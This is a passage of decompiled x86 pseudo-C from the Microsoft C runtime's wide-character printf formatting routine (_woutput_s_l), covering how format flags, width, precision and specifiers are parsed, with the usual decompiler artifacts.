										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										L179:
										 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
											L183:
											__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L187:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L212;
													}
													L188:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	__edx = 0x20;
																	 *(__ebp - 0x14) = __dx;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																__eax = 0x2b;
																 *(__ebp - 0x14) = __ax;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__ecx = 0x2d;
															 *(__ebp - 0x14) = __cx;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(__eflags == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E004297E0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E0042AA50( *(__ebp - 0x1c), __eflags, __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x44c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x4ac);
															__eax = E004297E0(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if(__eflags != 0) {
														L208:
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x24);
														__edx =  *(__ebp - 4);
														__eax = E0042AA50(__ecx, __eflags,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
														goto L209;
													} else {
														L201:
														__eflags =  *(__ebp - 0x24);
														if(__eflags <= 0) {
															goto L208;
														}
														L202:
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x4b0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
														while(1) {
															L203:
															__ecx =  *(__ebp - 0x4b4);
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															__eflags = __ecx;
															if(__ecx <= 0) {
																break;
															}
															L204:
															__ecx = __ebp - 0x40;
															__eax = E00423790(__ebp - 0x40);
															__ecx = __ebp - 0x40;
															E00423790(__ebp - 0x40) =  *__eax;
															__ecx =  *(__ebp - 0x458 + 0xac);
															__edx =  *(__ebp - 0x4b0);
															__eax = __ebp - 0x458;
															 *(__ebp - 0x4b8) = E00439180(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
															__eflags =  *(__ebp - 0x4b8);
															if( *(__ebp - 0x4b8) > 0) {
																L206:
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x458) & 0x0000ffff = E00429780( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																continue;
															}
															L205:
															 *(__ebp - 0x44c) = 0xffffffff;
															break;
														}
														L207:
														L209:
														__eflags =  *(__ebp - 0x44c);
														if( *(__ebp - 0x44c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x4ac) = E004297E0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
															}
														}
													}
													L212:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														__ecx =  *(__ebp - 0x20);
														__eax = L00422680( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L214:
														 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
														_t502 =  *(_t525 - 0x454) & 0x0000ffff;
														 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
														if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
															break;
														} else {
															if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
																 *(_t525 - 0x4d8) = 0;
															} else {
																 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) + L"cur_max == 2") & 0xf;
															}
														}
														L7:
														 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
														_t519 =  *(_t525 - 0x450) * 9;
														_t490 =  *(_t525 - 0x45c);
														_t510 = ( *(_t519 + _t490 + 0x4092e8) & 0x000000ff) >> 4;
														 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x4092e8) & 0x000000ff) >> 4;
														if( *(_t525 - 0x45c) != 8) {
															L16:
															 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
															__eflags =  *(_t525 - 0x4e0) - 7;
															if( *(_t525 - 0x4e0) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0042A94C))) {
																case 0:
																	L18:
																	 *(_t525 - 0xc) = 1;
																	E00429780( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																	_t527 = _t527 + 0xc;
																	goto L214;
																case 1:
																	L19:
																	 *(__ebp - 0x2c) = 0;
																	__ecx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) = __ecx;
																	__edx =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__eax =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L214;
																case 2:
																	L20:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e4) = __ecx;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	__eflags =  *(__ebp - 0x4e4) - 0x10;
																	if( *(__ebp - 0x4e4) > 0x10) {
																		goto L27;
																	}
																	L21:
																	_t57 =  *(__ebp - 0x4e4) + 0x42a984; // 0x498d04
																	__ecx =  *_t57 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0042A96C))) {
																		case 0:
																			goto L24;
																		case 1:
																			goto L25;
																		case 2:
																			goto L23;
																		case 3:
																			goto L22;
																		case 4:
																			goto L26;
																		case 5:
																			goto L27;
																	}
																case 3:
																	L28:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__edx =  *(__ebp - 0x18);
																		__edx =  *(__ebp - 0x18) * 0xa;
																		__eflags = __edx;
																		_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__ecx = __edx + _t81;
																		 *(__ebp - 0x18) = __ecx;
																	} else {
																		__edx = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00429820(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			__ecx =  *(__ebp - 0x18);
																			__ecx =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) = __ecx;
																		}
																	}
																	L33:
																	goto L214;
																case 4:
																	L34:
																	 *(__ebp - 0x30) = 0;
																	goto L214;
																case 5:
																	L35:
																	__edx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__ecx =  *(__ebp - 0x30);
																		__ecx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __ecx;
																		_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__eax = __ecx + _t92;
																		 *(__ebp - 0x30) = __ecx + _t92;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00429820(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L214;
																case 6:
																	L41:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e8) = __ecx;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	__eflags =  *(__ebp - 0x4e8) - 0x2e;
																	if( *(__ebp - 0x4e8) > 0x2e) {
																		L64:
																		goto L214;
																	}
																	L42:
																	_t100 =  *(__ebp - 0x4e8) + 0x42a9ac; // 0xa1c19003
																	__ecx =  *_t100 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0042A998))) {
																		case 0:
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																				L50:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																					L53:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																					if(( *__ecx & 0x0000ffff) == 0x64) {
																						L59:
																						L61:
																						goto L64;
																					}
																					L54:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x69;
																					if(__ecx == 0x69) {
																						goto L59;
																					}
																					L55:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																						goto L59;
																					}
																					L56:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																					if(( *__ecx & 0x0000ffff) == 0x75) {
																						goto L59;
																					}
																					L57:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x78;
																					if(__ecx == 0x78) {
																						goto L59;
																					}
																					L58:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																						 *(__ebp - 0x45c) = 0;
																						goto L18;
																					}
																					goto L59;
																				}
																				L51:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																				__eflags = __ecx - 0x32;
																				if(__ecx != 0x32) {
																					goto L53;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					goto L61;
																				}
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x34;
																			if(__ecx != 0x34) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				goto L61;
																			}
																		case 1:
																			L62:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) = __ecx;
																			goto L64;
																		case 2:
																			L43:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L64;
																		case 3:
																			L63:
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																			goto L64;
																		case 4:
																			goto L64;
																	}
																case 7:
																	L65:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																	__ecx =  *(__ebp - 0x4ec);
																	__ecx =  *(__ebp - 0x4ec) - 0x41;
																	 *(__ebp - 0x4ec) = __ecx;
																	__eflags =  *(__ebp - 0x4ec) - 0x37;
																	if( *(__ebp - 0x4ec) > 0x37) {
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L66:
																	_t141 =  *(__ebp - 0x4ec) + 0x42aa18; // 0x55ff8b0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0042A9DC))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *(__ebp - 0x460) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00429820(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x474);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x44ba18; // 0x409128
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L00421A30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E00423790(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push(__eax);
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x44ba08; // 0xae625e32
																					_push(__edx);
																					__imp__DecodePointer();
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							__eax = E00423790(__ebp - 0x40);
																							_push(__eax);
																							__ecx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__edx =  *0x44ba14; // 0xae625e32
																							_push(__edx);
																							__imp__DecodePointer();
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E00423790(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44ba10; // 0xae625e32
																							_push(__eax);
																							__imp__DecodePointer();
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__ecx =  *(__ebp - 4);
																						__ecx =  *(__ebp - 4) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 4) = __ecx;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																					do {
																						L187:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L212;
																						}
																						goto L188;
																					} while ( *(__ebp - 0x4ec) > 0x37);
																					goto L66;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00429820(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__cx =  *(__ebp - 0x458);
																				 *(__ebp - 0x448) = __cx;
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E00423790(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E00423790(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				__eax = E00439180(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																				__eflags = __eax;
																				if(__eax < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00429820(__ebp + 0x14);
																			__eax = E004390D0();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																			L107:
																			__ecx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L00427590();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			} else {
																				L114:
																				 *((intOrPtr*)(L004256E0(__ecx))) = 0x16;
																				__eax = E00428500(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E00423760(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
